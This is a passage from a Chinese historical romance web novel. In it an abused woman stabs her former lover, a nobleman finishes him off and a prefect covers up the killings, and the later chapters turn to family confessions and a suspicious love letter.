云棠后退两步,与陆锦拉开距离,悲怒之中带着疑惑,直直看着他,“我没有哪里对不起你,你到底为什么不肯放过我。” 陆锦赎她出来,她用心侍侯他,给他生了儿子,更是任由他打骂折磨,没有任何地方对不起他。 就是报恩,也报完了。 而且陆锦己经把她送给了恒王府,两人再无关系,为什么就不能各自安好。 她只是想好好活着而己。 “我要告诉你真相,你就是个婊子。”陆锦笑着,对小厮说着,“把人提上来。” 片刻后,小厮带着几个女人过来,其中就有教坊的老鸨子,被打的鼻青脸肿,看到云棠就哭了出来,“云棠,我不是故意的,我也想你好,但他们一直打我。” 陆锦一脚踢了过去,“都是贱人,不挨打不说实话。” “妈妈。”云棠喊着,就要去扶老鸨子,却被陆锦揪住头发,“好好站在这里,听她们说。什么京城丢失的千金小姐,都是为了给你这个婊子抬身价。” 云棠只觉得头皮被揪的生疼,过往的疼痛涌上心头,身体止不住微微颤抖着,心中生出一股绝望。 难道她这辈子,就要这么过下去了吗,被这个烂人折磨到死。 除了老鸨子,还有同在教坊的老人,以及接生的稳婆。 几个人哭泣着,把当时的情况说了。 云棠确实是教坊前花魁的女儿,父亲是某个恩客的,本想打掉的,吃了落胎药却没打下来,这才留下来。 教坊出生的孩子,天生就是贱籍,云棠教坊长大,为了卖好价钱,老鸨子才编造云棠的身世。 “听到了吗,你不是苏家丢失的二小姐。”陆锦高兴极了。 在云棠成为苏家二小姐时,他想着他们终于门当户对,他们可以成亲了。 结果云棠竟然看不起他了,不原意嫁于她。 陆锦觉得自己要疯了,她竟然敢,谁给她的胆子。 现在好了,她又成了婊子贱人,又落到他手里了。 云棠呆呆听着,整个人好像木了一样。 她不是苏家女儿,叶氏也不是她的母亲。 也是,那样好的人家,那样好的父母,怎么会是她的亲人。 陆锦打骂她时,常骂她是贱人,因为贱才出生就是婊子。 她这样的人,她这样的人怎么可能是苏家的二小姐。 那样她的人家,不该有她这样的女儿。 “云棠,我苦命的孩子。”老鸨子痛哭着,都说婊子无情,但总是自己跟前长大的,她是真的希望云棠能好。 要是早知道陆锦变成现在这样,他出再多钱,她也不会让他把云棠带走。 “妈妈,是我连累了你。”云棠说着,“这么大岁数,还遭这个罪,都是我的错。” 老鸨子哭着摇头,“我老了,风月场上一辈子,活到现在也够本了,你以后要怎么办啊。” 看陆锦这样,云棠活不久。 孩子都生了,男人的心怎么能这么狠。 云棠神情麻木,连眼泪都没流下来,只是对陆锦说着,“你让他们出去,我有话与你说。” 陆锦就等着云棠服软,对小厮们说着,“带她们出去。” 小厮们拉着几个人出去,还把雅间的门关好。 雅间里只剩下两个人,陆锦看着云棠,只觉得身体在燥动。 他是真的喜欢云棠,哪哪都喜欢。 “我早就跟你说过,你飞不出我的手掌心。”陆锦得意说着。 “你想成为苏家的女婿。”云棠说着。 连诚哥儿都拿出来折腾,恒王妃都出面了。 她虽然不懂,但叶氏生气时说过,别说宁阳侯府了,就是恒王府,在苏家面前都不够看。 利用她攀上苏家,得到更好的前程,这符合陆锦的利益,也是叶氏最看不上的。 现在有把柄了,用这个把柄拿捏她,用她当作登天梯。 “你本来就是属于我的,想翻出我的手掌心,就是你的错。”陆锦说着,“只要你跪下道歉,我会原谅你的。” “好,我道歉。”云棠木然说着,屈膝下跪。 她跪过陆锦无数次,做错事了要跪,无故被打骂时也要跪。 她都跪习惯了,只有这一次,她跪的如此痛快。 “哈哈哈,好,这才我的乖云棠。”陆锦大笑,心中的恶气终于出来,高兴之余用手去扶云棠。而就在云棠将要起身之时,拿出怀里的匕首,就往陆锦身上刺去。 匕首锋利,是云棠一年前自己买的。 当时的日子过的太苦,她想一死了之,又有些不舍得,匕首就一直放在身边。 本来想扔掉的,鬼使神差的留了下来,今天果然派上了用场。 匕首刺进陆锦腹部,陆锦有一瞬间的停顿,直到低头看到插在腹部的匕首,以及流下来的鲜血。 “你,你要杀了我?”陆锦语气中透着茫然,以及不可思议。 云棠要杀了他,这怎么可能,她怎么敢。 云棠看到鲜血的一瞬间,己经惊慌不知所措,却依然鼓起勇气,伸手就去拔插在陆锦腹部的匕首。 一刀是捅不死陆锦的,必须得多捅几刀。 “你为什么就是不肯放过我,到底为什么!”云棠哭泣着,鲜血染红她的双手,她连鸡都没杀过,现在竟然杀人。 “因为,因为我爱你啊。”陆锦下意识说着。 当然是因为爱她,就像云棠也爱着他一样。 他一直都是如此坚信着,云棠怎么可能会不爱他,直到这一刀刺下来。 “我只想好好活着而己。” 云棠大声说着,几乎是用尽全力,又是一刀刺向陆锦。 越来越多的鲜血,从陆锦身体里涌出来,身体缓缓倒下来,似乎终于反应过来,大声喊着,“来人……” 守门的小厮推门进来,看到屋内情景顿时惊呆了,连忙喊着,“来人,杀人了。” 陆锦出门向来是带足人手的,小厮听到喊声,赶紧跑了进来。 而就在这时,正好一行人上到二楼,为首的关楚河,一身便服,手拿折扇,颇几分书生意气。 对于小厮们的叫喊,关楚河一脸淡然,并不放在心上。死个人而己,小事情。 正欲往自己的雅间走时,就听里头传来云棠的惊呼声,“不要过来,你为什么还不死。” 关楚河觉得有几分耳熟,脚步顿了一下。 随从见关楚河在意,连忙上前拨开围着的小厮。 关楚河顺势看了过去,就见云棠满手鲜血,握着匕首,全身哆嗦着,双目无神,整个人己崩溃。 陆锦倒在云棠脚边,伤的极重,却硬是挣扎着爬到云棠脚边,试图去拉她。 张张嘴,似乎想说什么,却因为伤的太重,说不出来。 “我只想好好活而己,为什么要这样。” 云棠紧贴着墙壁,己经退无可退。 她己经接受糟糕的人生,为什么还能变成地狱。 “我杀了人,也得死,哈哈,到最后,还是活不下了。”云棠又是哭又是笑。 “你没杀人。” 突然一句,声音不大,语调中甚至还带着几分随意。 云棠有几分发懵,眼晴被泪水冲刷的有些模糊,顺着声音怔怔看过去。 俊美的五官,带着几分邪气,衣着随意却掩不住身上的贵气与果决。 她认识他,关楚河。 与苏家,不能说是仇人,但绝不是朋友。 关楚河随手抽出随从腰间配剑,抬手一剑划向陆锦的脖子。 一剑割喉,鲜血顿时喷发出来,溅到云棠脸上, 滚烫的血液,好似要把人烫伤。 “人是我杀的。”关楚河说着,随手把剑丢给随从。 云棠惊呆了,陆锦的小厮们也惊呆了,刚想出声,关楚河的随从拔剑,开始杀人。 鲜血在二楼蔓延开来,原本只是一人死,现在死的变成了一群。 如此大的变故,云棠却从混乱中清醒过来,原本崩溃的精神状态,似乎一点点找回了理智。 陆锦死了,她没有杀人,人是关楚河杀的。 关楚河替她杀了陆锦。 云棠怔怔看着关楚河,抬手杀人,脸上表情却一丝变化都没有,仿佛死的不是一个人,而是一只鸡一条狗。 如此残忍,她竟然一点都不觉得害怕。 “你生的好看,脸弄花了就不好看了。”关楚河说着。 云棠下意识拿出手绢,想擦掉脸上的血。 “知府何在。”关楚河突然说着。 直隶知府从随从里走出来,神情惶恐。 “有人死了。”关楚河说着。 知府马上道:“自杀,他们是自杀的。” 100-110 第101章 第 101 章 陆锦死了,自杀。…… 陆锦死了, 自杀。 先拿匕首捅自己肚子,然后拔剑抹脖子。当日跟随他的随从,也一起殉主了。 尸体是衙门官差抬到宁阳侯府的,尸体是忤逆验的, 案子是知府判的。 至于为什么, 大约是鱼神降罚, 陆锦自知其罪, 就自杀谢罪了。 红莲湖里都出湖怪了,再奇怪的事, 也都不奇怪了。 “我的儿啊……” 宁阳侯夫人听到消息当场晕了过去,宁阳侯虽然没晕,整个人也瞬间垮了。 因为死的太诡异,诡异到恒王爷都不敢来吊唁。 宾客里只有陆家的嫡系亲友过来,烧把纸就走了, 都不敢多留。 “一定是苏家,是云棠。”宁阳侯夫人失声痛哭。 宁阳侯也跟着哭,却是摇头, “真不是苏家。” 陆锦是他的独子, 心肝宝贝一样, 就是不能追究凶手,也想知道是谁。 知府与宁阳侯有几分私交, 悄悄跟他说了, 也劝他收了报仇的心。 关楚河亲自动的手,这辈子就别想报仇的事了。 “那是谁,我的儿子,死的好冤。”宁阳侯夫人痛哭着。 眼看着就要晕过去,胡四娘连忙扶住她, 使唤丫头给宁阳侯夫人喂汤药。 “这都是命,若不是我们宠子太过,娇纵的他无法无天,也不至于惹下大祸,丢了性命。”宁阳侯哭泣着。 现在想来,还是恒王爷做的对,打了恒王妃一巴掌,把恒王妃和柔嘉郡主禁足,不准出门一步。 看起来不尽人情,苛刻了妻女,但不让她们出门,本就是保护。 若是对陆锦,他能狠下心来,在明知苏家不好惹的情况下,把陆锦禁足关在家里,也许就没有这一场祸事了。 宁阳侯夫人此时哪里听得进去这些,失声痛哭着,“我好好一个儿子就这么没了,就是拼了我这条命,我也要报仇。” 伤心太过,宁阳侯夫人差点撅过去,胡四娘连忙扶住她,又对婆子们说,“快扶太太床上躺着。” 陆锦之死,打击太大,宁阳侯夫人不必说,宁阳侯都要垮了。 陆锦的丧事是胡四娘操作,她素来能干,这回更是体现的淋漓尽致。 连宾客都没几个的丧礼,愣是被胡四娘操办的井井有条,该有的一样没少,场面上很过的去。 “母亲,您还有诚哥儿,还有我。”胡四娘边哭边劝慰宁阳侯夫人。 “我与大爷的亲事是早就定下来的,若是您不嫌弃,我愿意与灵前成婚,为大爷守一辈子。” “诚哥儿就是我亲生儿子,这个家我来操持,二老我来侍奉。” 胡四娘说的真切,宁阳侯夫人还有点没反应过来。宁阳侯却是说,“好,好,当初定亲就是看中你难得忠贞,现在出了这样的事,你还能坚守当初承诺,我陆家有你这样的媳妇,是我陆家之幸。” 陆锦是被关楚河杀的,后续会不会连累到陆家都不好说。别说宁阳侯这个爵位能不能保住,抄家灭门都是有可能的。 这样的情况下,稍微知情的大户人家绝不会把女儿嫁进来。现在胡四娘肯抱着牌位进门,多半是不知道其中原由。 不管怎么样,胡四娘能有这份心意,他十分感激。 “父亲,母亲。”胡四娘当即跪了下来,冲着宁阳侯和宁阳侯夫人跪了下来。 灵前成婚,属于自古以来,几乎没有形式可言。 胡四娘一身孝服,盖个白盖头,抱着陆锦的牌位给宁阳侯和宁阳侯夫人行礼。 又有奶妈抱着诚哥儿,给胡四娘行了礼,婚事就算完成了。 胡四娘自此就是陆锦的正妻,宁阳侯府的大奶奶。 到了出殡当天,胡四娘里外忙碌。 终于把陆锦埋出去,侍奉着宁阳侯和宁阳侯夫人用完饭,胡四娘终于回到屋里。 “大奶奶,先喝碗茶吧。”丫头端茶上来。 胡四娘接过茶碗,顾不上规矩,大口喝着。 这些天,实在太累了,终于都结束了。 “大奶奶,有件事请你示下。”陆锦的奶妈吱吱唔唔,要说不说的模样。 胡四娘十分客气,“妈妈有什么事,只管与我说。” 奶妈招招手,丫头翠儿走到胡四娘面前,跪了下来。 胡四娘愣了一下,“这是怎么了?” 翠儿是陆锦屋里的大丫头,也是奶妈的亲生女儿,一直想当姨娘,这些她都知道。 奶妈一脸羞耻的模样,打了翠儿一下,“你自己跟大奶奶说吧。” 翠儿这才吱唔说起来,大约两个月前,她被陆锦收用,这些天她觉得身子不爽,请个大夫来诊脉,竟然是有喜了。 大丫被收用是常事,但有孕之后,得主人家承认才行,不然谁知道跟谁怀的。 “这是大喜事啊。”胡四娘大喜,连忙起身把翠儿扶起来,“这么大的事,你该早与我说,最近府里忙碌,你也跟着受累,若是有个好歹来,我都没脸见大爷。” 翠儿愣了一下,没想到胡四娘认的如此痛快,连奶妈都有些惊讶。 其实这事最该禀告的是宁阳侯夫人,但想到宁阳侯夫人未必会信,胡四娘这个大奶奶刚进门,又是抱着牌位,灵堂拜的天地,想着好糊弄,没想到会这么好糊弄。 “我做主,以后就是姨娘了,将来生下来不管是儿是女,我都抱过来养活。”胡四娘高兴说着,眼泪也跟着落下来,“是我们一起养活,还有诚哥儿,我们一起好好教养孩子。” 奶妈听得十分感动,只要胡四娘认下这孩子,翠儿这肚子算是有着落了,“大奶奶恩典,将来这孩子一定孝顺大奶奶。” “大爷大丧,一切都从简,委屈姨娘了。”胡四娘说着,吩咐小丫头开盒子,拿了两匹缎子,给了翠儿。 翠儿接过来,越发的高兴,连忙跪下道谢,“以后但凭大奶奶差谴。” 胡四娘十分高兴,又吩咐婆子把东厢房收拾出来,给翠儿住。 “今天太晚了,等明天请个大夫来,好好把把脉,给妹妹调理身体。等胎相稳固了,再告诉老爷和太太。”胡四娘笑着说。 “是,都听大奶奶吩咐。”翠儿高兴说着。 正巧厨房传饭,胡四娘留翠儿一起吃了晚饭,又说了一会话,奶妈才带着翠儿离开。 晚间丫头侍侯叶四娘休息,忍不住说着,“大爷一点都不喜欢翠儿,竟然会……” “住口。”胡四娘打断丫头,“大爷那风流性子,收用个丫头还不是平常事。现在大爷不在了,他的遗腹子,我得好好照顾。” 以后陆锦的眼光,要是能看上翠儿,早就看上了。怎么可能会在对云棠最疯的时候,去收用一个平平无奇的丫头。 不用丫头说,胡四娘心里比谁都明白。 但她既不姓陆,又不是陆锦的娘,翠儿肚子里的孩子是不是陆锦的,她根本就不在意。 陆锦己经死了,自己生不出来,丫头也生不出来。 而死了丈夫的主母,需要儿子当做依靠。 己有诚哥儿这个长子,丫头再生一个次子,才更保险。 只要名誉上是陆锦的就可以了,到底是不是,根本就不重要。 “明早去请大夫,给翠儿好好调理身子。”胡四娘说着。 “是。”丫头应着,“大奶奶如此厚待翠儿,宽厚能容人,是我们的福气。” 大奶奶三个字让胡四娘高兴,嫁给陆锦的牌位,更是喜上加喜。 自胡四娘懂事起,所有人都对她说,她命好,早早跟宁阳侯府的世子定了亲。 随着胡家越来越落魄,家里姐妹总是阴阳怪气她,祖母长辈也因为这门亲事,对她也是另眼相看。 父母总是对她说,以后嫁进侯府,一定要照顾家里,兄弟要娶亲,姐妹要出阁,都是要银子的。 一点点长大,陆锦也长大了。 胡四娘开始觉得害怕,陆锦风流,陆锦养外室,陆锦打人。 后来陆锦跟云棠闹的整个直隶皆知,胡四娘每天都在担心,万一陆锦退亲了,她要怎么办。 家里的长辈,平辈,连她的父母兄弟,只怕都要生吃了她。 她明明没有做错任何事,但只要陆锦对她不满意,那就是她的错。 靠着能忍,靠着巴结婆婆,就是勉强嫁进来,胡四娘依然是害怕的。 害怕成亲后,陆锦性情残暴会打她。就像云棠那样,一言不合就打耳光。 更害怕陆锦嫌弃她容貌普通,不愿意与她同房,以至于生不出来儿子。 宠妾灭妻别人家做不出来,但陆锦是肯定能做出来的,被扫地出门都有可能。 现在多好,她成了陆家的大奶奶,而陆锦死了,还留下一个儿子,以及一个遗腹子。 她所有的担心都没有了。 至于宁阳侯府的将来,虽然陆锦死的蹊跷,但诚哥儿是云棠的亲生儿子。 当娘的可以不认儿子,但总会给儿子留口饭,就是宁阳侯府被罢爵,也不至于被抄家。陆家现的家产,也足够她富足的过完一生。 早就无法回胡家,以后陆家就是她的家。 她会好好待诚哥儿,翠儿生产后,不管男女,她都好好对待。 宁阳侯和宁阳侯夫人也很好,都不是刁难难相处的人,至于比胡家人强多了。 她会用心侍奉二老,善待孩子。 都是她的家人,她的依靠,她的牵挂。 嫁给牌位,少走几十年弯路,熬出头了。 *** 云棠一直以为自己会做恶梦。 陆锦死了。 不是她亲手杀的,却是死在她面前。 生平第一次爱人,那么多美好的回忆,甚至还有一个儿子。 哪怕被苏家认回后,她心里对陆锦的感情依然是纠结的。 直到陆锦说她身世,她想的也是与陆锦同归与尽。这样的人生,不要也罢。 她死了,陆锦也死了。 爱也好,恨也好,终于两清了。 直到关楚河的那一剑,斩断陆锦的生机,云棠突然觉得天晴月明,整个世界都清郎了。 陆锦死了,她却重生了。 过往的一切依然在记忆中,却仿若昨日黄花。 过去了,全部都过去了。 “父亲……” 云棠走进前书房。 苏天华正在写信,见云棠进来,便放下笔,示意云棠坐下,语气温和,“虽然春天了,晚上还是有些冷的,该让丫头给你加件披风。” 云棠听得心头暖暖的,苏天华看着严肃,对妻女却极为温柔。 “我有话想跟父亲说。”云棠说着,在苏天华面前跪了下来。 苏天华愣了一下,“快起来,出什么事了?” 云棠摇摇头,坚持跪着。 陆锦抓来的人,教坊的老鸨子,接生的稳婆,都己回了江南。 在她们走之前,她仔细问过老鸨子。 到底是陆锦屈打成招,还是她们说的是实话。 老鸨子吱吱唔唔的说了实话,陆锦确实打了她们,但她们说的也是真的。 “我不是苏辰。”云棠说着。 这些天来,她翻来覆去的想,给自己做心理建设。到了此时此刻,终于坦白说出口时,她反而轻松了。 她真的很想当苏辰,但她不是。 苏家人待她很好,她不能欺骗他们,这是做人的本份。 最大的心结说出口,接下来的话容易多了。 从陆锦给她写信开始,一点点讲起,说到关楚河时,云棠顿了一下。 苏天华也十分惊讶,“关楚河?” 陆锦死了的消息,他当然知道。 他没怀疑过与云棠有关,就因为他己知晓,人是关楚河杀的。 以关家与苏家的关系,关楚河没道理会帮云棠杀人。 “春日宴时,有过一面之缘。”云棠如实说着。 苏天华想不出原由,但许多事情本就不需要原由。关楚河就这么干了。 “关楚河行事向来不按常理,此事你不要对任何提起。”苏天华说着,“你起来吧。” 云棠显得十分困惑,“我不是您的女儿。” 她己经明确说了,她不是苏辰,为什么苏天华一点反应都没有,好像早己知晓。 苏天华轻叹口气,起身把云棠扶起来,“己经滴血认亲,你就是我的女儿。” 当初他托二叔公帮忙找个假的,找到云棠时,他期待过云棠也许就是苏辰。 现在只是又回到原点,失望是有的。 但云棠面对这样的富贵,选择直言相告,着实难得。 “你母亲身体孱弱,这些年来为你殚精竭虑,几次大病。直到找到你,身体精神才一点点恢复。”苏天华说着。 “照顾好她,当个好女儿,不要再让她为你担心了。” 第102章 第 102 章 叶氏拜访过杨云娘…… 叶氏拜访过杨云娘后, 三进小院跟着闹热起来。 所谓有来有回,尤其是程采蓝知晓两家渊缘后,就成了常客。 与叶氏闲聊,与云棠一起做针线, 更重要的是苏邑, 相处时的融洽肉眼可见。 在苏钰看来, 程采蓝和苏邑的婚事, 己经是板上钉钉。 至于其他问题,是长辈需要操烦的, 苏邑和程采蓝等着成亲就行了。 “大姑娘,程公子来了,想见姑娘。”婆子进门说着。 “快请。”苏钰想了想,又说,“我懒得去书房, 请他来屋里。” 总共三进院子,又是在直隶,没必要太讲究规矩。也可能是熟了的关系, 她拿程喻当朋友看, 请好友到屋里坐坐没什么不妥。 “是。”婆子应着, 转身去了。 片刻后,婆子引着程喻进来。 苏钰己穿好外衣, 招呼程喻落座, 绿川倒茶。 “你都下去吧。”苏钰对丫头们说着,又给绿川使了眼色。 程喻过来,多半是要谈湖怪之事,应该是找到有用的证据,留丫头在屋里不方便。 绿川会意, 带着丫头们出去,自己在院里坐着,守着门。 程喻这才把收集到的证据拿出来。 厚厚一本,全是水手们所说的见闻。 不管是套话,还是花钱收买,水手们所说的,程喻全部在事后记录下来,以及标注说话的身份,以及所说的时间。 至于物证,事情己经过去许久,再加上程喻也不是搞刑侦的,就是有证据他也发现不了。 只有一个水手,从岸边捡到过一块腰牌。程喻不知道有没有用,花了点钱从水手里那里买了过来。 “就是这块。”程喻把腰牌递给苏钰。 苏钰看了看,并不认得识,但只看材质和做工,并非俗物,笑着道:“程公子辛苦了,这些对于我很重要。” 程喻舒了口气,这些日子搜集这些东西,花了不少银子。 幸好对苏钰有用,不然只是他白出力还罢了。若是白花了苏钰的银子,他就真的对不起恩人了。 正事谈完,苏钰道:“我想向程公子打听一户人家。” 程喻道:“姑娘请说。” “江阴人士,姓程,父亲是进士,四品文官,半年前因病过世。母亲是京城远嫁而来的,娘家姓杨,有个女儿叫程采蓝。”苏钰说着。 “是我的同族。”程喻说着,“按起辈份来,程姑娘要叫我一声族叔。” 程家虽然是江阴望族,但人丁凋零。 就是不凋零,一个宗族里出一个进士,那也是大事,尤其是官至四品的进士,可谓全族皆知。 “程姑娘父亲亡故之事,你可知晓?”苏钰又问。 “我来到直隶四年,甚少与家中联络。”程喻说着,“姑娘特意提起,可是有事?” 因郑家之事,程家长辈对他颇有怨言。 就是有书信来往,家书中也不会提一个不太熟的族人家中情况。 苏钰没提程采蓝叔叔吃绝户之事,苏邑己派管事去料理,很快就会有结果。笑着道,“我家与程太太颇有缘渊,阿邑也非常喜欢程姑娘,好事将近。” 程喻却愣了一下,直言说着,“程家世代书香门第,采蓝姑娘的父亲还是进士出身。就是现下父亲己亡故,只怕也不愿意为妾。” 程采蓝出身望族,父亲是进士,官居四品,这样身世,在宁阳侯府这样的高门大户眼里,属于有点家世,娶为正室也可以。 但京城英国公府,那是何等门第。 苏邑是二房嫡子,其兄叶峰出继叶家后,他是二房的唯一的儿子。 这样的背景,怎么可能会娶程采蓝为正室。 “程公子误会了。”苏钰没想到会有这重误会,连忙解释,“我二叔二婶向来开明,早就说过,儿女婚事全凭他们自己的心意。阿邑喜欢,自然要娶为正室。” 程喻又是一怔,实在没想到苏家如此开明,连忙起身道:“是我小人之心了。” 苏钰并不在意,程喻误会之后,能为程采蓝直言说不合适为妾,也是难得,“也是我没把话说清楚,程太太是我祖母的养女。亲上加亲,长辈们都很满意。” “那真是大喜事。”程喻高兴说着,“提前向苏公子道喜了。” 苏钰随口说着,“到时候我给程公子发喜贴,要记得来喝杯喜酒。” “一定一定。” “还有一件事,我想问程公子。”苏钰说着,“程家是不是出过一位皇后?” 显庆皇帝的原配发妻姓程,程喻也姓程,但姓程的人那么多,她原本也没往上面想。 直到太安过来,说到郑家被抄家灭族的原由。 郑程两家是姻亲,那可不就是程喻家吗。 程喻脸色微变,神情严肃,“既然是姑娘问,我也没什么好隐瞒的,当今天子的元后是我亲姑姑。” 当年程皇后会参加选秀,程家也是有过想法的。 想的是,能选为宫妃,生下一儿半女的,封亲王公主,将来提携程家。 程家也没想到,女儿会被选为皇后。泼天富贵兜头浇下来,看似是富贵,实则是大祸。 郑家出事之后,程喻的祖父就辞官了,理由是身体不好,要回老家休养。 当时程皇后刚有身孕,与显庆皇帝最是恩爱之时。程家人离京还算顺当,本以为回到江阴后,也就没事了。 没想到关太后的报复也随之而来,程家是大族,程喻家这一支,人丁兴旺,五个叔伯,十几个堂兄弟,皆因种种原由下狱判刑流放。 程喻会没事,也是运气好,当时他还没出生。其父一辈子老实,逃过一劫。 枝繁叶茂的大家族,转眼人丁凋零。 幸庆的是,好歹回到了江阴,还有祖宅祭田可依靠。 诗书传家,子弟们多读书,考取功名,恢复往年的兴盛虽然不可能,勉强维持住望族的体面。 “竟然是……”苏钰目瞪口呆。 同姓程,又为郑家奔走。想过程喻与程皇后血缘比较近,但没想到这么近,是程皇后的亲侄子。 程喻道:“此事程家上下己不敢提起,要不是姑娘问起,我绝不会说。” 过世元后的亲侄子,这不是富贵密码,而是催命符。 “程公子放心,此事我定烂死在肚子里,绝不向人提起。”苏钰说着。 元后又能怎么样,人都死了,孩子也死了。 关太后势大,显庆皇帝不管,程家可不是惨上加惨。 两人又说一会,程喻正欲起身告辞时,绿川在门外说着,“姑娘,有客来访。说是京城来的,姓陈。” 要是一般客人,绿川肯定就让等着了,但京城来的这位,还是别怠慢了。 程喻道:“打扰姑娘许久,我也该告辞了。” “与程公子聊天,我也很高兴。”苏钰笑着说,“欢迎你来打扰。” 程喻告辞离开。 苏钰这才对绿川道:“请客人到前书房,我换件衣服就来。” “是。”绿川应着。 程喻从东厢房出来,客人,也就是陈平被婆子引着进前书房。 三进房舍实在小的很,陈平抬头就见一个极为俊美的小男生从苏钰卧室出来。 虽然己得到消息,陈平依然被程喻的美貌震了一下。 这样的美人,而且看起来十分温顺,没有攻击性,与谢无衣又不相同。 长的好看,要是再嘴甜会哄人。而且这才多久,都登堂入室,进入苏钰闺房。 不行啊,这么下去会出事的。 苏钰换了衣服到书房,陈平连忙起身,“给姑娘请安。” 苏钰看到是陈平,愣了一下,“你怎么来了?” 陈平官职虽小,却是朝廷命官,放着官不做,跑到直隶送信,大材小用。 “大人怕管事说话不清楚,让姑娘误会。”陈平笑的十分亲切,没有丝毫的拘束感,好似跟从前一样。 “还有给郑家脱籍之事,大人特意吩咐我,一定要办妥了再回京城。” 提到给郑家脱籍,苏钰心情有点点微妙,“一点小事,哪里就劳动你了。” 给官奴脱籍,又十几年前的旧案,翻案很麻烦,但可以借故有功而免罪。至于什么功,只要不是太离谱,都可以现编一个。 编好功劳之后,再由地方上报朝廷。朝廷核查后,上官批准了,发放文书到地方。 地方发文书公告,脱奴籍恢复平民身份。 虽然地方官做的事多,但脱籍能不能成,关键还是看京城的批复。 她虽然在信上拜托薛迟,但客套之意十分明显,薛迟在京城操作一番即可。 只要京城给了批复,地方官全身都是胆都不敢卡着不办。 现在特意派陈平来,倒是显得薛迟特别重视。 “脱籍是小事,但姑娘吩咐的事,那就是天大的事。”陈平笑着说,“大人尚主之事,肯定成不了,姑娘只要耐心等待……” “够了。”苏钰打断陈平。 画大饼谁都会,她不想吃,更不想听。 陈平马上闭嘴低头,夸张的动作甚至有几分喜剧效果。 “薛迟倒是很会挑人,自己是个闷葫芦,嘴都长你身上了。”苏钰说着。 陈平低着头,唇角勾起笑意,“姑娘这么夸我,我都不好意思了。” “我没夸你。”苏钰说着。 陈平更高兴了,“那就在夸大人,下官回去告诉大人,肯定能得赏赐。” “你除了贫嘴之外,就没正经事要说吗?”苏钰说着。 陈平看出苏钰的不耐烦,也不敢再说,只是把书信拿出来,“这是大公子写给姑娘的信。” 看到信,苏钰脸色缓合不少。她心里还是希望能收到薛迟书信的。 绿川接过来,转身奉给苏钰。 “还有什么事?”苏钰问陈平。 陈平道:“另外还有一些小玩意,大公子让我带上来给姑娘,姑娘若是喜欢就留着,不喜欢就赏人。” 说着,陈平拍拍手,几个小厮抬着三个箱笼进来。 薛迟送礼,从来都是大手笔,不知道哪件能合苏钰心意,那就以量取胜。 “我一直在想,送礼物这种主意,不会也是你出的吧。”苏钰说着。 与薛迟初相识时,薛迟完全没有送礼物的概念,后来就开始流水线一般送送送。 “姑娘误会了。”陈平连连摆手,“这都是大公子对姑娘的心意。” 这真不是他的主意,薛迟的性格,根本就不允许有人掺和他的感情。 “我不缺东西使,这些你都带回去。”苏钰说着。 以前两人交往,她收他东西自有回礼,一来一往的显得十分亲密。 现在薛迟都要尚主了,她再收他东西算是怎么回事。 陈平一脸为难,神色苦闷说着,“这三个箱子,是我千里迢迢从京城带来,就是带回去了,大人也肯定不会要。不如就赏了府里的丫头婆子,我也好省些事。” 苏钰冷笑,“我府里的丫头婆子不缺这些,若是嫌麻烦,直接扔到河里,岂不是更省事。” 陈平连连求饶,“姑娘,你就把东西收了吧,不然我真没办法交差。” “我管你怎么交差。”苏钰说着,心头憋着的火被挑起来,“正好我也有事要问你,我在直隶的事,薛迟怎么知道的。” “此事下官真的不知。”陈平大喊冤枉,“我只是文书官,帮着大人处理一些卷宗文案,其他事情我真的不知道。” 苏钰气笑了,“你觉得我会信?” 太安也好,陈平也罢,都是心腹中的心腹。就算不是专门负责某项事务,主子的事都是要过手的。 “姑娘真的冤枉我了,此事我真的不知道。”陈平辩解着。 他是真的不知道,薛迟的心腹不止他一个。 他只是处理文书公务的,其他方面的事务不归他管不说,连经手人是谁,他都不知道。 “带着你的东西,在我眼前消失。”苏钰懒得跟他废话。 陈平见苏钰动怒,也不敢再多言,反正他还要在直隶留一段时间,总有办法的。 “下官告退。” 陈平转身走了,绿川端茶上来,“姑娘喝口茶吧。” 消消气,也压压火。 苏钰接过茶碗,喝了一口,却看向旁边的书信。 生气归生气,薛迟的信她还是很期待的。 放下茶碗,苏钰拿起信件拆开,只是一眼,就愣住了。 “把陈平叫回来。”苏钰神情凝重。 第103章 第 103 章 绿川不知何事,但…… 绿川不知何事, 但看苏钰神色凝重,连忙出门去喊人。 幸好陈平刚走到大门口,正欲上马走人,被绿川喊住。 陈平把马交给小厮, 跟着绿川又进了前书房。 “姑娘有何吩咐?”陈平笑着问。 “这信是薛迟写的?”苏钰扬着手中的信问陈平。 “自然是大人写的。”陈平说着。 苏钰问, “你亲眼看着他写的?” “这倒没有。”陈平说着, “我是大人唯一的文书, 时常帮大人代笔。这封既不是我所写,肯定是大人亲笔。” 而且这种情书性质的书信, 薛迟也不可能找他人代笔。 苏钰心中疑窦从生,她与“薛迟”笔友通信两年,她是认得“薛迟”字迹的。 这封信的字迹不对! 为什么会不对,到底哪里出了问题。 “姑娘?”陈平留意苏钰脸色。 苏钰神情变幻莫测,一时间没有头绪, 任由陈平站着。 直到绿川悄悄提醒了,苏钰才对陈平挥挥手,“没事了, 你走吧。” “是。”陈平应着, 只觉得莫名其妙。 绿川觉得不妥, 不等苏钰吩咐,便主动送陈平出门。 绿川送陈平到门口, 陈平十分客气, 笑着说,“我最近不会离开直隶,暂住在恒王府别院,姑娘若是有事,可派人到那里找我。” 绿川笑着点点头, 用不用上的再说,嘴上该客气还是得客气。笑着说,“辛苦陈大人跑一趟,姑娘最近心绪不佳,薛公子的心意,心领即可。” 苏钰说了不想收薛迟的礼,就别硬送了,免得更生气。 陈平会意,拱手道:“下官晓得,多谢绿川姑娘提醒。” “陈大人太客气了。”绿川笑着说,转身离开。 绿川转身回了前书房,苏钰依然主座坐着,看着手里的书信。 短短两页纸,标准的公文体,内容言简意赅。字体遒劲有力,一字一句都好像刀削斧凿一般。连表达爱意,都充斥着钢铁直男的气息。 与她记忆里的笔友完全不同,甚至没有丝毫相似之处。 “姑娘……” 绿川心中莫名,虽不知是何事,却是小声提醒她,“要不要先回房去?” 前书房是会客的地方,过一会苏天华就会过来。 到时候看到苏钰,询问原由,只怕不好回答。 “嗯。”苏钰心不在焉应着。 回到东厢房,绿川欲上前侍侯着苏钰更衣。 苏钰手里依然捏着薛迟的信,完全不配合,绿川只得作罢。 想到是薛迟的信,绿川考虑各种可能性,鼓起勇气劝慰苏钰,“薛公子尚主之事,是圣旨,谁都无可奈何。” 能让苏钰如此反常的,不外乎此事。 苏钰摇摇头,苦笑说着,“要是从一开始就错了呢。” 她与薛迟的缘份,来自两年的鱼雁传书。 这是天赐的缘份,她一直都是坚信的。 直到这封信。 薛迟真的是她通信两年的笔友吗? 呼之欲出的答案,她却茫然了。 